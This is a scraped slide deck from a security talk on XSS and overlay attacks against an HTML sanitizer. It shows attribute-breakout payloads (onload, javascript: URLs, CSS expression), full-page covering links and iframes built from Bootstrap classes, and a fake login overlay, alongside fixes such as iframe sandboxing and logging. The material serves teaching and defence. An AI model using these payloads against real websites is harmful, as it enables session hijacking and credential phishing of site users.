How we hacked How we hacked and what happened next and how you can - - PowerPoint PPT Presentation

▶
how we hacked how we hacked
SMART_READER_LITE
LIVE PREVIEW

How we hacked How we hacked and what happened next and how you can - - PowerPoint PPT Presentation

Oct 31, 2023 466 likes •1.06k views

How we hacked How we hacked and what happened next and how you can be safe Ruben van Vreeland Fixed Fixed https://www.owasp.org/index.php/Top_10_2013-Top_10 <script>alert(1)</script> User Data Change Data XSS Bootstrap

slide-1
SLIDE 1

How we hacked

and how you can be safe

Ruben van Vreeland

How we hacked

and what happened next

slide-2
SLIDE 2

Fixed

slide-3
SLIDE 3

Fixed

slide-4
SLIDE 4
slide-5
SLIDE 5
slide-6
SLIDE 6 https://www.owasp.org/index.php/Top_10_2013-Top_10
slide-7
SLIDE 7
slide-8
SLIDE 8

<script>alert(1)</script>

slide-9
SLIDE 9
slide-10
SLIDE 10
slide-11
SLIDE 11

Comand & Control

BROWSER WEBPAGE XSS Bootstrap Payload WEBPAGE User Data Firewalled Change Data Passwords

http://jsbin.com/femapijiwe/1/edit?html,output

slide-12
SLIDE 12
slide-13
SLIDE 13

<a href="javascript:alert(/Exploit me!/)"> javascript:alert(/Exploit me!/) </a>

slide-14
SLIDE 14
slide-15
SLIDE 15
slide-16
SLIDE 16

<a href=“ javascript:payload ” style=“ width:100%; height: 100%; position: fixed; left: 0px; top: 0px; background: rgba(255, 0, 0, 0.5); ” ></a>

http://jsbin.com/videpusaza/edit?html,output BEEF HOOK Test mode Window position Set position type Set size

slide-17
SLIDE 17

<a style=“width: expression(alert(1));” />

slide-18
SLIDE 18

<a href=“ javascript:payload ” style=“ width:100%; height: 100%; left: 0px; top: 0px; position: fixed; background: rgba(255, 0, 0, 0.5); ” ></a>

slide-19
SLIDE 19
slide-20
SLIDE 20
slide-21
SLIDE 21

<head> <!-- Bootstrap core CSS --> <link href="https://getbootstrap.com/dist/css/bootstrap.min.css" rel="stylesheet"> </head>

slide-22
SLIDE 22

3663 .dropdown-backdrop { 3664 position: fixed; 3665 top: 0; 3666 right: 0; 3667 bottom: 0; 3668 left: 0; 3669 z-index: 990; 3670 }

bootstrap.css

slide-23
SLIDE 23

4299 .navbar-fixed-top, 4300 .navbar-fixed-bottom { 4301 position: fixed; 4302 right: 0; 4303 left: 0; 4304 z-index: 1030; 4305 }

bootstrap.css

slide-24
SLIDE 24

<a href=“ javascript:payload ” width=“100%” height=“100%” class=“dropdown-backdrop navbar-fixed-top”> </a>

http://jsbin.com/qotixugiko/1/edit?html,output BEEF HOOK Set position type Set position Set full window Set full window Z-index

slide-25
SLIDE 25
slide-26
SLIDE 26

iframe

slide-27
SLIDE 27

<iframe src=“https://example.com/” width=“100%” height=“100%” class=“dropdown-backdrop navbar-fixed-top”> </iframe>

http://jsbin.com/qotixugiko/2/edit?html,output BEEF HOOK Set position type Set position Set full window Set full window Z-index

slide-28
SLIDE 28
slide-29
SLIDE 29
slide-30
SLIDE 30

javascript link whitelisted iframe

100% covering iframe

iframe cross domain iframe open redirect

100% covering link 100% covering image

login screen image

slide-31
SLIDE 31

image link

slide-32
SLIDE 32

Fixed

slide-33
SLIDE 33
slide-34
SLIDE 34
slide-35
SLIDE 35
slide-36
SLIDE 36

Login http://jsbin.com/daracenafa/1/edit?html,output you@hackme.bitsensor.io ****************

slide-37
SLIDE 37

Fixed

slide-38
SLIDE 38

you@hackme.bitsensor.io **************** Login http://jsbin.com/dejite/13/edit

slide-39
SLIDE 39

http://jsbin.com/dejite/13/edit

slide-40
SLIDE 40
slide-41
SLIDE 41

attribute: id class style form iframe

  • embed/embed.ly

remove from whitelist

slide-42
SLIDE 42

HTML5 iframe sandbox

harden

allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation

slide-43
SLIDE 43

HTML5 iframe sandbox

harden

allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation

slide-44
SLIDE 44
slide-45
SLIDE 45

1 javascript link 5 whitelisted iframe 10

100% covering iframe

11 iframe cross domain 14 iframe open redirect 20

100% covering link

23

100% covering image

25 covering image & link

attempts

slide-46
SLIDE 46

<img src=“/uploads/mycatpicture.png ” /> <img src=“” “” /> <img src=“” /> <a “” /> <img src=“” /><script>alert(1)</script><a “” />

slide-47
SLIDE 47

<img src=“/favicon.png ” /> <img src=“/favicon.png” “” /> <img src=“/favicon.png” onload=“ “” /> <img src=“/favicon.png” onload=“alert(1) “” />

slide-48
SLIDE 48

<a href=“http://twitter.com/@EnableBitSensor”/> <a href=“ ”/> <a href=“javascript: alert(1) ”/> <a href=“javascript:// alert(1) ”/> <a href=“javascript://%0Aalert(1) ”/>

slide-49
SLIDE 49

<script> var user = ruben ;</script> <script> var user = ruben; alert(1) ;</script>

slide-50
SLIDE 50

<div style=“width: 10px ;”/> <div style=“width: expression(alert(1)) ;”/>

slide-51
SLIDE 51

logging (ELK) exceptions ids/ips (modsecurity) security metrics

slide-52
SLIDE 52
slide-53
SLIDE 53
slide-54
SLIDE 54
slide-55
SLIDE 55

https://git.bitsensor.io/plugins/java-spring

slide-56
SLIDE 56
slide-57
SLIDE 57

30 juni

GOTO Night Eindhoven

Hackers using the ELK stack training

slide-58
SLIDE 58

+31 (0)6 122 10 587 ruben@bitsensor.io 0x4D4ED75AD9BB92F8

slide-59
SLIDE 59

Stay safe.